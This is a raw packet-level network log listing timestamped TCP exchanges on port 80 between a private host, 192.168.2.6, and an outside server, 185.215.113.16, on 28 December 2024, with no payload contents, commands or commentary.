Dec 28, 2024 10:03:40.081023932 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.081063032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.081943035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.081990957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.081991911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.082006931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.082031965 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.082037926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.082799911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.082859039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.082874060 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.082875013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.082904100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.082906008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.083489895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.083544016 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.083547115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.083563089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.083606005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.083645105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.084361076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.084414959 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.084417105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.084434032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.084455967 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.084474087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.085221052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.085275888 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.085285902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.085302114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.085342884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.085386038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.085424900 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.086129904 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.086146116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.086163044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.086195946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.086216927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.086941004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.086997986 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.087029934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.087047100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.087089062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.087126017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.087836981 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.087852955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.087868929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.087886095 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.087899923 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.087929010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.088620901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.088674068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.088684082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.088700056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.088725090 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.088809967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.089521885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.089595079 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.089598894 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.089616060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.089642048 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.089689970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.090425968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.090451002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.090467930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.090480089 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.090507984 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.090517044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.090553045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.091243982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.091291904 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.091306925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.091334105 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.091401100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.092098951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.092144012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.092161894 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.092178106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.092223883 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.092230082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.092268944 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.093036890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093115091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093131065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093158007 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.093259096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093573093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.093822002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093871117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093887091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.093925953 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.093972921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.094690084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.094715118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.094729900 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.094729900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.094753027 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.094929934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.095519066 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.095560074 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.095578909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.095596075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.095634937 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.095694065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.095732927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.096399069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.096415043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.096432924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.096461058 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.096543074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.097227097 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.097270966 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.242119074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.242285013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.242300034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.242325068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.242342949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.242357969 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.242358923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.242400885 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.243088007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.243175030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.243225098 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.268791914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.268850088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.268867016 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.268899918 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.268954039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269001007 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.269058943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269129992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269145966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269176006 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.269633055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269680977 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.269714117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269728899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.269771099 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.269815922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.270530939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.270574093 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.270622015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.270637035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.270680904 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.270719051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.271442890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.271506071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.271522045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.271529913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.271583080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.271625042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.272207975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.272260904 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.272269011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.272278070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.272320032 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.272335052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273037910 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273107052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273123980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273152113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.273180962 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.273189068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273910999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273947954 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.273972988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.273988962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.274029970 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.274055004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.274858952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.274921894 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.274944067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.274960041 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.274990082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.275003910 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.275620937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.275666952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.275679111 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.275682926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.275718927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.275840044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.276504993 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.276561022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.276568890 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.276576996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.276628017 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.276653051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.277331114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.277374983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.277405024 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.277420044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.277568102 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.277585030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.278239965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.278315067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.278357983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.278449059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.278465033 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.278515100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.279081106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.279117107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.279124975 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.279134035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.279208899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.279253006 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.279928923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.279982090 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.279998064 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.280014038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.280086994 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.280093908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.280793905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.280829906 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.280837059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.280846119 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.280900002 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.280925035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.281661987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.281734943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.281739950 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.281752110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.281793118 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.281816959 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.282495022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.282541990 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.282557964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.282573938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.282617092 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.282684088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.283417940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.283457041 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.283458948 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.283473015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.283519030 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.283543110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.284245968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.284303904 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.284313917 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.284320116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.284365892 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.284365892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.285092115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.285139084 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.285150051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.285166025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.285228968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.285243988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.285959005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.285984993 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.286000013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.286024094 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.286061049 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.286102057 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.286818981 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.286881924 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.286886930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.286902905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.286969900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.287009001 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.287699938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.287754059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.287791967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.287808895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.287843943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.287884951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.288494110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.288575888 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.288584948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.288602114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.288641930 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.288666964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.289366007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.289412975 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.434422970 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434453011 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434469938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434531927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434588909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.434654951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.434732914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434798002 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434814930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.434840918 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.461122990 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461179018 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.461291075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461306095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461322069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461338043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461354971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461385965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.461498976 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.461498976 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.461498976 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.462047100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.462148905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.462204933 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.462209940 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.462225914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.462374926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.462438107 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.462985992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463012934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463027954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463068008 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.463085890 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.463196039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463761091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463814974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.463815928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463831902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.463872910 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.463890076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.464617968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.464687109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.464703083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.464741945 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.464768887 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.464785099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.465482950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.465542078 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.465552092 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.465559006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.465601921 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.465626955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.466327906 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.466372013 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.466401100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.466418028 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.466491938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.466522932 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.467205048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.467252016 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.467258930 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.467269897 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.467340946 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.467364073 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.468060017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.468086004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.468101025 CET	80	49766	185.215.113.16	192.168.2.6
